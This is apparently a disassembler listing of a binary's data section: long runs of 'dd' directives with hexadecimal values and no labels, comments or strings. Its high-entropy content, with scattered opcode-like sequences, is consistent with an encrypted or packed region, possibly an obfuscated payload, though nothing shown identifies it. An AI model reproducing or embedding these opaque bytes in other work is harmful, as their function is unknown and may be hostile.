		dd 0DE291266h, 7990ABD1h, 0E733E98Eh, 0A41120Eh, 577DC44h
		dd 1BECE93Ah, 0F0B35F31h, 3D4498F1h, 0B291FA4Fh, 0D2034261h
		dd 6EA1C72Ah, 51F35DF3h, 428C6h, 0C4E84C00h, 0F6473A3Bh
		dd 4451B6FDh, 85D40837h, 221D1017h, 0AED0DD49h,	253F09Fh
		dd 0C57CA0E3h, 47AC91F6h, 121485D5h, 1F456841h,	7891AAD2h
		dd 0CA790613h, 1214CE1Ah, 47882341h, 89CA1631h,	2E4BF498h
		dd 71AF98E1h, 0F43B2854h, 4DF68693h, 5287DD18h,	3015EDDAh
		dd 5DA91A4Fh, 0B3E1AB4Eh, 0E1CE7B99h, 3073A09Bh, 0B25A09F1h
		dd 0D2E3EF8Fh, 91C4Fh, 94AFDE00h, 0F847347Dh, 60DFA091h
		dd 0D6711809h, 3F0C72BFh, 0D912D2D4h, 327F96B5h, 0AF90FB48h
		dd 1A076ED9h, 0B7BEC972h, 0D3E4A22h, 3FD34112h,	3A0577E7h
		dd 8FB8C4E9h, 1D5BA65Eh, 0F3D777EAh, 36F4251h, 0E8C80000h
		dd 473A3BDEh, 4FA8F7ECh, 0D60A3942h, 1D17E983h,	71D24922h
		dd 6FCB116h, 0DF6C1E2Eh, 0E2C9409Ch, 3B048885h,	0A29DEFD0h
		dd 0DF464845h, 120D3D4Dh, 9ADDD041h, 0D7F62A49h, 0C557BEB5h
		dd 41120DB5h
		dd 0F5125558h, 30791C27h, 0DCAA014Fh, 0EF901C05h, 7E380710h
		dd 30000008h, 969BF24Dh, 20F66E5h, 7AA7CE7Dh, 0D4DD340Fh
		dd 74729DAAh, 0F4533B74h, 59E6949Dh, 0CC77010Eh, 37107CA5h
		dd 0A84415DCh, 41120C80h, 5F41A175h, 3B96A27Ah,	307B473Ah
		dd 8CB7C5ECh, 0D16A125Fh, 8CEC658Ch, 305BE4A8h,	0F3DB6FE2h
		dd 74A51h, 0A5D00000h, 2BDh, 3BDEE889h,	0F7EC473Ah, 39424FA8h
		dd 99CA7504h, 0ABCA1B5Ah, 83886475h, 0AC49221Dh, 0FC201F6Fh
		dd 2C117645h, 12152870h, 0A1EECD41h, 0FA396AD9h, 1666B3A6h
		dd 0AFDDC22Dh, 754EF9Ah, 0C1E983E4h, 34411215h,	0F7154679h
		dd 0DA52B7FCh, 4F306181h, 18BB4F6Eh, 45EF9025h,	7C7F574h
		dd 4890000h, 9CEFD03Bh,	345B44AFh, 0C6B3FC17h, 612D127Dh
		dd 0BDBF8BE2h, 0D23D0A74h, 47AE9DEDh, 0FA152E5Ah, 157CC7B5h
		dd 0CB1F8DEAh, 2E41120Ch, 577B868h, 0A9D0DD3Ah,	0F63B429Eh
		dd 390F0786h, 263474A9h, 7BBAEB58h, 8DD4F938h, 0ABE86484h
		dd 0F53065DEh, 41FA82AFh, 0A59EEB28h, 0F927206Ch, 9D094496h
		dd 0A76051F3h, 44185FDEh, 5FC61A0Bh, 1Ah, 0FE4D3D7Ah, 0E65F12A2h
		dd 0DB2D924Dh, 56F58528h, 79A7E605h, 1D4E2h, 0C1E85000h
		dd 0ED473A3Bh, 6B50A9F6h, 3B429606h, 0BD6F473Ah, 473A3B6Dh
		dd 99142D80h, 1D71A17Bh, 49644922h, 0A897E330h,	0F5E4387Bh
		dd 31D1D4B8h, 42E72714h, 20F68ABh, 5398CD76h, 0BBD91827h
		dd 14255758h, 17BA6267h, 0DEA13CBAh, 0EC2F4E9Fh, 0A7755ABFh
		dd 41121093h, 0EFE93786h, 0D24AAFF4h, 4F306389h, 7F8B6176h
		dd 924B7073h, 0A32ED81Bh, 2EEF9026h, 6C3021Dh, 8750000h
		dd 0A0EBD43Fh, 384748A3h, 0CABFE00Bh, 65291671h, 0B9BB8FE6h
		dd 0D6310E70h, 4BA2A1E9h, 0FE093246h, 1970CBB1h, 0C71389EEh
		dd 2A411202h, 577BC64h,	0A9FA4534h, 0D51A4B8Ah,	8A7B9CA7h
		dd 0BF9E1826h, 3E4F956Fh, 3AFA7EFBh, 0B691E752h, 0EE6DE0CDh
		dd 10535621h, 7D2825F9h, 108D51F3h, 28000000h, 89EFDF5Fh
		dd 86DAF6E2h, 0EBA5EEh,	0E8890000h, 473A3BC1h, 7C13F6EDh
		dd 23FD616h, 970562A5h,	492211B3h, 3A5B857Eh, 0FA78A8E1h
		dd 8D76A992h, 0DA092EC3h, 938ED232h, 0CAB2FF18h, 63291671h
		dd 9A498BD8h, 0C0152E5Bh, 201F6CA5h, 0CB1488E1h, 344F30F4h
		dd 973AF179h, 0B283EF8Fh, 600AFh, 70CBB200h, 0E4632819h
		dd 4CFB848Dh, 0B28DFC25h, 1B28565Bh, 0BDF6F6F0h, 161B72D1h
		dd 838CE764h, 0FE234AF5h, 935AB58Eh, 20256C6h, 23F74112h
		dd 3A0577C3h, 0DFAFECE9h, 3B82D646h, 4477473Ah,	5C95D005h
		dd 0A0C91730h, 0F73263DCh, 5626FE7Ah, 0FD7082EDh, 0D851F3DBh
		dd 17h,	37A546h, 53340000h, 59531A81h, 9FFC7B40h, 404E671Ch
		dd 77B64E92h, 0F9463405h, 55689D4h, 4A9BA4E8h, 1F15539Eh
		dd 0A4BBD26Dh, 58h, 9B265233h, 0B4BF082Eh, 0E53B7AC5h
		dd 3A057749h, 3B085BE9h, 6715473Ah, 1A628FDCh, 0A958FC21h
		dd 1B2FFD4Fh, 0FE473A3Bh, 0EEB7CBFh, 6F3D62EAh,	473A3B5Bh
		dd 98A1FFBEh, 0E12E4BF4h, 317CA19Eh, 2E97E0E3h,	4DB6BF56h
		dd 0C0FF4D3Dh, 0F3EF8E77h, 63DCACE5h, 11ADF332h, 0DD3A0577h
		dd 409CABD0h, 0E72C2725h, 2A505D82h, 0ED25C71Dh, 0F049221Dh
		dd 2D5F5CBDh, 0D5DCF34h, 0E0411214h, 14CF1BCDh,	8B224112h
		dd 0C80B3846h, 335B58A1h, 0EA82C714h, 411214DEh, 1B397833h
		dd 7495AEDEh, 0D3B3B60Fh, 9B585FEBh, 12DBA1C9h,	3B595441h
		dd 0A2F1E2E2h, 0FD0ED745h, 0BCFF4F0Ah, 13305E5Bh, 0FD8F8CCDh
		dd 0E9CE2B42h, 34C0E884h, 86354B6Bh, 6B3482D6h,	8A62774Bh
		dd 4B6B347Eh, 0BBD91893h, 0D4350E7Eh, 0F686B7C7h, 9ADD184Dh
		dd 0D7F62A49h, 1871BEB5h, 494A4784h, 15E5C845h,	0E9674994h
		dd 72293001h, 24000004h, 9A87EE59h, 0F63B52F1h,	6E53BA89h
		dd 0D8C9201Bh, 87E89B6h, 0E05F2F68h, 55F29889h,	0B883F53Ah
		dd 231C6051h, 0A47801C8h, 41120094h, 774DD579h,	0EED33A05h
		dd 64E3AB9Eh, 60B5F437h, 0E106414Bh, 0F5CEB94h,	5895B0ECh
		dd 97C40936h, 0EA095AE5h, 3B68D3A5h, 22086011h,	160E6AE7h
		dd 57BCDD66h, 3A3BB5C5h, 0F555847h, 0D2A6F3C4h,	0F929D7D3h
		dd 98DB02C3h, 309DAD7Fh, 3D70473Ah, 0D13A37E7h,	4C9F51F3h
		dd 3A000000h, 3C3347D5h, 0D7E6473Ah, 0AB58F589h, 0F6690364h
		dd 0BF49180Bh, 0EC310A72h, 0A4F4A8C1h, 4941186Bh, 0A8033E62h
		dd 0D36424Fh, 0C51587ECh, 2841186Bh, 94345F85h,	41186B46h
		dd 0FF16315Bh, 51EE9D9Ah, 0A992E603h, 39FE564h,	58490000h
		dd 690364ABh, 49183596h, 0F54E3A87h, 0A1C9A3A0h, 5441183Ch
		dd 0B6E72659h, 0FB281379h, 8F84E40Dh, 0B26A8FD4h, 4F3A32B1h
		dd 24345F5Eh, 0A3A0EE2Fh, 92950760h, 0A3455C38h, 289AAE7Eh
		dd 3C7F555Ch, 283941DBh, 0D1DC555Ch, 0F6279683h, 2576D5B9h
		dd 0F7A58AEFh, 555C28A3h, 30396756h, 0E9A053B8h, 24732495h
		dd 0F415545Ch, 7ED2C738h, 7C03105Bh, 159891CFh,	7CC7B5FAh
		dd 0C17A022Fh, 569D56A6h, 0ADF47B31h, 12995190h, 27784C1h
		dd 8BC91439h, 90CCADF1h, 52965359h, 48E1423Fh, 8D765B33h
		dd 93B22C1Ch, 43973981h, 0B65990B7h, 0B73F4B21h, 0DBD25990h
		dd 38D94498h, 41000000h, 364AB58h, 18416669h, 83E4D749h
		dd 0AD9485C2h, 508CA1D8h, 11576735h, 20A94118h,	0B1CC81C8h
		dd 1E94BD1h, 8C000001h,	1243008Fh, 1D1327F5h, 0B7064118h
		dd 77942874h, 0C4E93A05h, 0B8B237BAh, 0F71C9E4h, 2A529FCCh
		dd 0CFBBF811h, 0D4192C70h, 5DEA91A8h, 43AAED08h, 0F44F3976h
		dd 46058AA7h, 4997D615h, 3ACD86BFh, 4AF58747h, 0AD9CE02Dh
		dd 0F33263DCh, 3E636CB0h, 0A4A0F54Eh, 0A0760AFh, 5291C281h
		dd 80D5721Dh, 42DA3F65h, 4918C369h, 15628736h, 5A85DB64h
		dd 0FC4B307Dh, 7AB136AFh, 0AE8F6EE9h, 2C27316Fh, 505D82E7h
		dd 0D16E1128h, 0E12E618Ch, 0D670AC97h, 4F3D6CB6h, 0EF7109Bh
		dd 3C900138h, 9BFE2267h, 3853F09Eh, 0CEB887F7h,	0EF92FC65h
		dd 658A7F0h, 0C8000002h, 2E137AC5h, 9A87EE5Dh, 0F23F56F5h
		dd 6C55BC87h, 0FCCA2522h, 7CCBB3FCh, 0E15E2C15h, 54EF9986h
		dd 0BF88F43Dh, 50CCAD54h, 41120608h, 77F929EDh,	7443607h
		dd 4F4CADC4h, 9CDF0C3Bh, 52533940h, 8DE333F3h, 0EB94DDF9h
		dd 58F21D5Ch, 4A7DE65Fh, 0E55CD17Dh, 0DCC0E884h, 8635473Ah
		dd 0FC43305Ah, 0A6DE019Bh, 7C3F4918h, 5266361Bh, 1F4118CAh
		dd 18CA7D8Dh, 241D9041h, 62324B89h, 4118CA52h, 8CC325ACh
		dd 4BD0EAD1h, 0A09FEB28h, 0CDD17Ch, 77790000h, 0FB443405h
		dd 38466BB8h, 0E284B4B1h, 760F5DBDh, 0DC44B54h,	1B488B47h
		dd 3A66CC49h, 223F4D47h, 3A6D3E4Ah, 99D8D347h, 263B414Eh
		dd 3A6D2276h, 0A5E4D747h, 105F1470h, 6B4A25F7h,	58534918h
		dd 0EF342F31h, 0CB11128Ah, 0BFFE4F3Ch, 112E5D5Ah, 1E73A1CCh
		dd 4B94839h, 66B86E8Dh,	0B08FFF3Ah, 0A3266859h,	0CEE5A4h
		dd 9189721Bh, 28BC3783h, 0C0552564h, 5DEF92BBh,	0F3FD4Ch
		dd 0D8A50000h, 701B046Fh, 877B8D3h, 9AEFD03Bh, 355946A1h
		dd 0E98BFF16h, 661DEA0h, 0BBD27119h, 2E390276h,	49A09BE1h
		dd 1723F99Eh, 0FA411205h, 7A5FCC54h, 3A3B96A2h,	0FF307B47h
		dd 436EB28Dh, 94E50C3Bh, 754F387h, 0B71B8E4h, 5F7DD930h
		dd 0C71D2652h, 2469D2BAh, 53BA85F7h, 39439241h
		dd 5F9EDD0Eh, 0B48FFD3Ah, 0F9184467h, 221D9623h, 0E7348749h
		dd 6E79C2CAh, 0C5820C09h, 0E20F5590h, 0A07CA19Ah, 1DC96A28h
		dd 65166366h, 0B59DB95Ch, 7DBC4A18h, 6AD70D28h,	88F13E0Eh
		dd 114F6EBFh, 6C21A4E8h, 38A08A3Ch, 453E5B9Ah, 430F5F31h
		dd 5520852Eh, 2AFA5F24h, 0D8C90A56h, 155A8BB4h,	828ADB64h
		dd 0B695FA37h, 0CB698F6Ah, 0A06186C1h, 7122C4D6h, 0FC473517h
		dd 174D8CAFh, 8EB9C3CCh, 0FC25Dh, 0CB300000h, 8AB9C1CEh
		dd 68F2AAF1h, 0B7EDADB3h, 3D06771Fh, 8EB9C3E8h,	0DF68105Dh
		dd 2A19618Eh, 7DCAB4F9h, 0CC7B0328h, 1C27529Fh,	6EDDA2CFh
		dd 0BC8BF03Dh, 6F68696Fh, 89000069h, 0E389241Ch, 4C381h
		dd 0EB830000h, 241C8704h, 0E189515Ch, 4C181h, 0E9830000h
		dd 240C8704h, 2404895Ch, 81E38953h, 4C3h, 4EB8100h, 87000000h
		dd 895C241Ch, 0C368243Ch, 8B06282Fh, 0C4812404h, 4, 4EC81h
		dd 24890000h, 24048124h, 4, 8B6685Fh, 4890000h,	8478F24h
		dd 5F2434FFh, 4C481h, 48B0000h,	0E1895124h, 4C181h, 0C1810000h
		dd 4, 5C240C87h, 0FA426AE9h, 0BC92CAFFh, 0DB904F4h, 0B8949DA6h
		dd 6283FEAh, 0E0FFC503h, 6098661Bh, 1DEDE64Ch, 79F367FAh
		dd 382B9176h, 766F64BFh, 2880584Eh, 5EDE1A79h, 0E8B4B4Fh
		dd 5EEA61A7h, 0C8ED51Bh, 0E0CD379h, 1FFAD6D2h, 43E13F50h
		dd 29460C25h, 176828A0h, 5568A6BFh, 6100DEC8h, 5DE747D6h
		dd 2DD82BD0h, 4AD28128h, 1FB252E3h, 55C9686Ah, 36AFDDEAh
		dd 489C4DFAh, 7D908364h, 1A437792h, 4371E946h, 41CB8D8Dh
		dd 858B0628h, 6222D45h,	33F18D89h, 0FE90622h, 50000000h
		dd 0E439BC6Dh, 40B92185h, 0FDC1532Dh, 85C7F07Bh, 6222D31h
		dd 6578h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	0F3C35545h, 0C98D0957h,	5A06221Bh, 30E585C7h, 622h
		dd 95010000h, 6221471h,	1E5B5FFh, 11E80622h, 0CE000000h
		dd 0B868CEFFh, 930AAF23h, 9F7F42Dh, 87F5D102h, 0B21BD01h
		dd 0FF5A0622h, 22206595h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0A51FA5A7h
		dd 39F8BD87h, 0DE8h, 0B183E700h, 90FEC8D7h, 0FA071AF9h
		dd 9D01F19Fh, 6220931h,	0DA8B665Bh, 95FF006Ah, 6223075h
		dd 19EBC08Bh, 6BB8E070h, 2BD1C04Bh, 9EF1B1B5h, 11E0DF74h
		dd 0B55AA670h, 97EA394Ah, 6E852h, 603D0000h, 0CAC985FCh
		dd 2C81958Bh, 2B5E0622h, 220785BDh, 86C68106h, 66000059h
		dd 3342BABAh, 0E1958BDBh, 0FF062231h, 12E93334h, 93000000h
		dd 7105C7EEh, 19E7AED8h, 6D9F46D8h, 7EF19121h, 9D895949h
		dd 6220201h, 0F1F5E981h, 880F2F90h, 6, 4036CF81h, 0C18147B3h
		dd 6744679Fh, 0B402C181h, 858B4B00h, 6221631h, 81950951h
		dd 8F062211h, 8A571E04h, 0EB835AD5h, 39858904h,	81062220h
		dd 0FFA708FBh, 98850FFFh, 0BFFFFFFFh, 54B6C490h, 182E9h
		dd 0DA474400h, 0D52C270Fh, 0B198D31Ah, 0CAD1D746h, 7E41EFB4h
		dd 9752E45Bh, 0A3FB6D5Dh, 0B99244FCh, 0D792A59Eh, 0B9E495BCh
		dd 0B2CB0093h, 0ACA3F49Dh, 9EB9FC9Ch, 0C945D200h, 0EE73AFh
		dd 0BA9755FCh, 0E56D599Ch, 0ACFFB2A4h, 57F647FEh, 0CCD4C456h
		dd 7DB5F600h, 9549F78Fh, 0BCFA9753h, 5CCD45C9h,	0E56CA191h
		dd 10000ACh, 43h dup(0)
		dd 84970000h, 0F033A26Dh, 0EE69h, 0E9000000h, 1061h, 2845F768h
		dd 0A6BE906h, 0DE68FFFBh, 0E9062846h, 0FFFB0A61h, 28486368h
		dd 0A57E906h, 1468FFFBh, 0E9062849h, 0FFFB0A4Dh, 284A7868h
		dd 0A43E906h, 5468FFFBh, 0E906284Bh, 0FFFB0A39h, 284C3C68h
		dd 0A2FE906h, 0EB68FFFBh, 0E906284Ch, 0FFFB0A25h, 284DE968h
		dd 0A1BE906h, 7368FFFBh, 0E906284Eh, 0FFFB0A11h, 284F1F68h
		dd 0A07E906h, 0C668FFFBh, 0E906284Fh, 0FFFB09FDh, 28507968h
		dd 9F3E906h, 0E268FFFBh, 0E9062851h, 0FFFB09E9h, 2852F568h
		dd 9DFE906h, 0FA05FFFBh, 0CAD62BF3h, 9A9A6707h,	63A2BF4Fh
		dd 2569F496h, 0FA4306A4h, 8A5099E5h, 0C09A6BB7h, 1FAF367Dh
		dd 28F2FF02h, 0FADDB494h, 3ECD6283h, 5AA765D0h,	0C1C09997h
		dd 0E9E6E3Ch, 6D76B542h, 107D5F92h, 0D389F945h,	0EF22B3FFh
		dd 6AA63372h, 371C06DDh, 0C48D998Ah, 0D9AC01CAh, 0D5E0E979h
		dd 55D9AC01h, 74B344CEh, 1FED5B8h, 3E71D9ACh, 0DDAD1394h
		dd 761A0ED1h, 721B6E63h, 0D9AC6C67h, 5127CABh, 8A64AE04h
		dd 35h,	7370D11Fh, 0D1F4E2EBh, 4F03D9ACh, 925FDC01h, 0C691BDE8h
		dd 0D1E0ED5Bh, 6BD9ACF1h, 956CD825h, 4BCA468Bh,	0E6B8B65Ch
		dd 16842BD1h, 0DF0ED0F1h, 0D0h,	975AA762h, 3FBEC099h, 0A4296801h
		dd 4D909168h, 44D9A9B9h, 0AE85B33Ah, 8AC892A5h,	8B8B96D3h
		dd 8ACCE522h, 818F12D3h, 0F63BD67Ch, 0CA8313EBh, 0D38ACCEFh
		dd 0FE2EF433h, 65D31E63h, 0C62445FAh, 0ACE7E18Fh, 20FA21D9h
		dd 11F5F6ABh, 7D583181h, 0BDD9ACE8h, 0C7D5BC66h, 4BDFD1A7h
		dd 0F643969Eh, 50EF25ACh, 41D1A185h, 0D1A82D08h, 0EC36EDDFh
		dd 5EAC2D71h, 8C37D232h, 0B965C0F8h, 18A9469h, 6376BF00h
		dd 76C39EB5h, 2709A42Dh, 0BA103A17h, 0C6553BF9h, 5000000Dh
		dd 61FC8E4Fh, 3508D21Fh, 0FD401AEFh, 84992DB8h,	2EAB737Ah
		dd 0EDEC322Dh, 37BEC459h, 78898A97h, 8F525FA2h,	0B2DB23FFh
		dd 0CD6282A7h, 0A7328F6Bh, 69F49657h, 5C01A528h, 0EB7370D1h
		dd 0ACD1F4E2h, 33E934D9h, 0ACD28352h, 19A3F4D9h, 3DC8CD50h
		dd 0BCEA2807h, 0ED110FEh, 0CAC7h, 5AA74A00h, 0BEC09997h
		dd 49A32F3Fh, 114E0F7Dh, 3A9B55F9h, 0D38ACBEDh,	67C70A17h
		dd 0CBDBFE97h, 0C05FD38Ah, 6DDB2E77h, 41DC4CD6h, 9C87BD40h
		dd 0AD240623h, 0D9ACE7BFh, 0FB46A443h, 25F22EB7h, 0FDA229F9h
		dd 1A2F65AEh, 81E1F623h, 829837C2h, 0AED7F0CEh,	0E22083FFh
		dd 14046B62h, 0AE33DFD2h, 0E1B69C65h, 515D203Ah, 52DEB288h
		dd 0BF8DF44Ch, 0D2E5EC7Eh, 56DFD29Ah, 46DB4BCBh, 514FB138h
		dd 6BBA11B9h, 0CDF27B5h, 36790000h, 60A17B7h, 0D6DE23FBh
		dd 9FE67B03h, 61ADB04Ah, 0C607C298h, 7614D5D9h,	8C5EA7EBh
		dd 0DB6372B1h, 14B63B46h, 0BE99F048h, 42CD6281h, 57A71994h
		dd 2869F496h, 0B7FC41A5h, 0DF266Ch, 0A75F0202h,	27B7975Ah
		dd 8AC88BAEh, 6BEC44D3h, 0DA7271AAh, 0D46AA877h, 5DE9F43Dh
		dd 21809B6h, 0AC67614Bh, 90B96D9h, 0D88156FCh, 11E0ADBh
		dd 80D906Ah, 0EEE847FDh, 41F5B095h, 48E62C85h, 0ABD66E45h
		dd 48EC1D9h, 0D20D3D63h, 72840Eh, 0D10D0000h, 0E2EB7370h
		dd 0D9ACCBD4h, 7253C954h, 0D9ACCC63h, 76F983D4h, 0ED11348h
		dd 5389h, 0A1E07D00h, 36CD141Eh, 0D7AA11ECh, 370C38CDh
		dd 1E0AD7DAh, 89361D01h, 5E328298h, 765A4DBCh, 0DAA3630Bh
		dd 0D9ABE6C8h, 42939F48h, 3D1479B7h, 8ED9ABE7h,	17EAD379h
		dd 16F3490Bh, 0B82D8D55h, 396721EDh, 0F80ED136h, 0Eh, 428F916Ch
		dd 58D579D6h, 8C45Ch, 0D7AAE500h, 0E52D3ACBh, 742D361Ch
		dd 0F0FB9777h, 68CD68D8h, 553CAC76h, 0D9B2B478h, 4996DB8h
		dd 0D72AF0FDh, 60907CAh, 22B28899h, 0AE51B0AEh,	0CDD30364h
		dd 603F1400h, 1985DBA2h, 0DEB2DFDAh, 47E53625h,	4710326Eh
		dd 6FF242D8h, 0CE65D326h, 45888944h, 5D7811E1h,	0DDDFDA6Dh
		dd 24A5E946h, 53F353E8h, 23EC3CEh, 0BB83A001h, 0FC8338D2h
		dd 0C32DF8E5h, 0A427D1C7h, 5AA52BE9h, 0C400000Bh, 956832BBh
		dd 59A4468Bh, 61FC8E5Bh, 2835D124h, 8247E7E6h, 9158A6B9h
		dd 0DB2A68F5h, 0ECF53E03h, 33BEC35Eh, 1E77D76Bh, 0CD62803Bh
		dd 53A613FFh, 0D38AC984h, 0F04A57C8h, 4F969D60h, 0F1D87AD1h
		dd 0D9B30BCCh, 2535D14Ch, 0C193C55h, 219D9B3h, 0D6863B00h
		dd 0EE1B4587h, 60FA91EBh, 0DB323C69h, 0C521FCDFh, 96A8E875h
		dd 0B8AD6D6Dh, 0CE54E3FEh, 3BC30E13h, 1A16DB26h, 0BDD48839h
		dd 0DFDADB9Ah, 16F4839Eh, 31DE97Fh, 68F229E6h, 0A5418C95h
		dd 98945958h, 31E2035h,	0F6F3AC66h, 33537D14h, 48D76C25h
		dd 0CC01F6E8h, 0B41A182Eh, 0AA9h, 0D96D6CB3h, 15B13C44h
		dd 2DF90C08h, 7A00D5D0h, 0B45697E7h, 71708D1h, 0D9D924C6h
		dd 0A4EF7208h, 6DB4895Dh, 2606DA60h, 627F8CAFh,	0D7A28CCDh
		dd 0EB7370D1h, 669EEAE7h, 0CD51A264h, 7947741Dh, 5CCBD9B2h
		dd 0A32E73CEh, 45FB061Bh, 0EB7065D8h, 0B01DC9Bh, 0B08A9708h
		dd 564FAC20h, 7D660A0Bh, 0B5DFC8D1h, 8B23DFDAh,	0DAB5F7C2h
		dd 51EC3BDFh, 0E62968F5h, 0AE0D559Ch, 2543EADEh, 68F551ECh
		dd 0DBFE972Dh, 5FDFDA34h, 39E935C0h, 0A10DD24h,	0CFDB4B46h
		dd 4FD7ABE4h, 0F0F1AEB1h, 430A9A6Ah, 0DFDAAE78h, 1DE42FB8h
		dd 0D17D0827h, 2F0A2C8h, 333D51E6h, 0DD8DCE5h, 82DE3817h
		dd 9AABB7E4h, 2AFA7EA0h, 959027EFh, 18E52CB1h, 99B34E02h
		dd 0C62F1317h, 3071CC5Ch, 476E77ADh, 0FCE603A9h, 4DD12461h
		dd 6E6739E6h, 0E603A94Bh, 0C11012CFh, 0C38F9F2Ah, 1EA136E7h
		dd 74470E2Dh, 0B4E6032Eh, 9070D269h, 2B7088F9h,	682E88ECh
		dd 98E526FAh, 0DEA3BB56h, 0E17C0ED3h, 7CE75DA0h, 0D5E0E9C3h
		dd 55EC2B41h, 0A03171CEh, 3A00DF74h, 53857653h,	0B16FBAF2h
		dd 6AF0F1AEh, 0F5FC079Ah, 57CD181Ch, 0CD735AF8h, 7AF8758Bh
		dd 29E799E7h, 2CCDA7B6h, 8A946D38h, 0E934C343h,	0BC086F07h
		dd 0D838192h, 945h, 7D09D0DFh, 895DA0E0h, 0C16570B4h, 1EAC397Ch
		dd 28F2FB03h, 6BB3ACADh, 3D45D862h, 80B16B4h, 0D1D02DF9h
		dd 5AA27E0Ch, 627E2833h, 0B30EE8CDh, 99975AA7h,	41147DCDh
		dd 0C1D38AC8h, 1C65F85Ah, 0C7E4F79Eh, 0BB24D38Ah, 61BE6A73h
		dd 46013FCAh, 0A4EDC973h, 3A81CD59h, 3EFD1E91h,	8D5051AEh
		dd 8A9AB897h, 0F34A3E7Ch, 78714h, 5C0A0000h, 50Ah, 0E3A598E5h
		dd 0D2236F3Eh, 575A2707h, 6D38CDC8h, 92A821A1h,	96D9ACFBh
		dd 1099F28Bh, 5CACB8CCh, 9464C6E3h, 7C870809h, 6D74DE75h
		dd 0B2DAF28Fh, 0CC989493h, 7CA63371h, 2D392A97h, 704BA4h
		dd 0CA50CFB9h, 8E2E9086h, 0CD5139E4h, 3381801Dh, 0A17F5Ah
		dd 0C96483B9h, 1CE1203Dh, 23B35614h, 147AB853h,	869h, 992DACF3h
		dd 0D5717C84h, 0EDB94C48h, 3AC01510h, 7416D727h, 47574891h
		dd 1919E486h, 0E42F32C8h, 0ADF4491Dh, 66C69A20h, 627D4C6Fh
		dd 9762CCCDh, 0C84E26AAh, 1A09C00h, 0BC41401Dh,	97A5E980h
		dd 0E8CFFCD1h, 6E3CCB71h, 0F0FD039Eh, 4B58C952h, 287B9AF3h
		dd 60BFD9B2h, 0B5FA079Ah, 91AE9A6Fh, 0D4DD20FAh, 8CB8454Bh
		dd 582C18B7h, 2B73BCC5h, 21917A2h, 65863B00h, 6ADFC881h
		dd 8914DFDAh, 77CC7889h, 91D08AFh, 0A9676EB4h, 0F6C18892h
		dd 3ADFDA6Ah, 0DAA727EFh, 5C300AD7h, 0B6DF3B67h, 0DFDA1EA3h
		dd 0CF5EB867h, 1E67F03Fh, 4BDB4BCBh, 1767ACF6h,	360D3BD6h
		dd 6008AE28h, 3DE1563Ch, 0D4DE61A0h, 6D38170Dh,	5AD4DAB7h
		dd 0DA022833h, 1B72E8DFh, 0DFDA0240h, 0F38E25C0h, 19526171h
		dd 33A19FBAh, 781h, 0B155949Bh,	0CD9964ACh, 5A13470h, 52E8FD38h
		dd 6C3EBFCFh, 2F7F60E9h, 1011CAEh, 0CCD72AF0h, 959C6105h
		dd 1EEEB248h, 627C6477h, 0FF4AA4CDh, 7FC070D1h,	7035D38Bh
		dd 0D5B98D58h, 0DCB532CFh, 0D38A24F9h, 22E4E239h, 167FCF07h
		dd 0D38A5143h, 6AFA58C7h, 9DE9F69Ah, 0E6273379h, 0B36A4D04h
		dd 73AED38Ah, 0F5E1CAD3h, 0FA21D9B2h, 49949D60h, 0F4FD06D3h
		dd 8815F559h, 16E64489h, 0B2F65C7Fh, 579AE6D9h,	0C5CC25C0h
		dd 370A1A38h, 2629E7EAh, 0FE926879h, 8A8DD14Dh,	0B929F50Dh
		dd 0D4E562D0h, 0F97BA6DFh, 0BA1C77DFh, 0D25D33F1h, 4C000006h
		dd 1DE0BA43h, 213CCE13h, 0E97416E3h, 0B08D59ACh, 3ADF6F6Eh
		dd 19E02E31h, 23B2F04Dh, 747D869Bh, 0BB464BD6h,	86CF5FE3h
		dd 0CD627BB3h, 0A72E9B77h, 0C099975Ah, 47003CC1h, 0A3EECA70h
		dd 447A8C5Eh, 8D14F317h, 0Ch, 0CAD7AA14h, 0B7B91F07h, 0C0000002h
		dd 0EF7526AAh, 0CD302215h, 3A858C41h, 0E29A0FAh, 12D38A2Ah
		dd 77CC7817h, 9BF242D8h, 0D38A29C0h, 0C779A540h, 7F84E35Ch
		dd 0F343DB76h, 8A29BF9Ah, 7EA443D3h, 6DC6E7EEh,	0DF4AD9B2h
		dd 0E2EF320Fh, 0F6C18818h, 0F1D9B26Dh, 0E7867B42h, 9E8588B1h
		dd 1F6FFAB4h, 0A13C0CDEh, 0A1B4DD5Fh, 61D9B229h, 0C12EFBAh
		dd 45FA41CDh, 7D8FC624h, 0BDDFDA6Ch, 0A9348466h, 0D9B49E6Bh
		dd 0EC7115D8h, 15EC58A5h, 0CB54C009h, 61F15556h, 0DA6C4D68h
		dd 0CC56CDDFh, 0F0318C1Ch, 865821EDh, 8AE5FC6Fh, 0CDF1959Fh
		dd 1917A427h, 5D4BBh, 0B8414E00h, 0CC111FE2h, 14E1233Eh
		dd 5FAAEB76h, 6D6CB28Fh, 2C333CD9h, 0FE431BE2h,	84992DB4h
		dd 49D4767Fh, 5DE18548h, 7AB184CDh, 9971CD62h, 975AA72Ch
		dd 73C1C099h, 8AC83F1Ah, 8924C3D3h, 761AE893h, 66ABC1FCh
		dd 4896AD9Bh, 78DAF9B1h, 79C4A52Fh, 0F66BAB3Ah,	728426ABh
		dd 14F4004Ch, 795h, 245C1C00h, 0E5000001h, 44BF26AAh, 0CFC84953h
		dd 0F01EEEEBh, 0A3630F7Eh, 161EE32Eh, 49A96968h, 4A2EAC62h
		dd 0D4000005h, 0E57802CBh, 0A9B4569Bh, 71CC9E6Bh, 3805A134h
		dd 0B257F7F6h, 6168B6A9h, 0AB3A78C5h, 0FC050E13h, 3CED32Eh
		dd 0E47A77Bh, 0CD627A2Bh, 0A7B603EFh, 2AB7975Ah, 1C3F56E8h
		dd 1CD38AC8h, 61BE6A01h, 0D51CB79h, 361CFE71h, 5DA0E178h
		dd 2AD085C9h, 8EA4A5C8h, 6A31EA84h, 400999E0h, 0D38AB475h
		dd 29A46EB5h, 975AA7E8h, 33B19D4Bh, 25F0348Dh, 39497781h
		dd 0D8814F3h, 11000000h, 825Ch,	7C5CE500h, 0E5000000h
		dd 0EB7370D1h, 0B30BC9E2h, 66D249D9h, 0C72744FDh, 0D53B788Eh
		dd 836DB8DFh, 0BA1C19D7h, 9E553BF9h, 0B8000004h, 49D47677h
		dd 1DE0BA47h, 2538C217h, 0EC7115E0h, 0C6835BA2h, 0D5141A05h
		dd 1FE62C31h, 20B1F24Fh, 777A879Ah, 5A330BD7h, 0CD62797Fh
		dd 0D1DA5783h, 1BEB7370h, 0A9757C86h, 0AD18A2C0h, 0A3BB66D9h
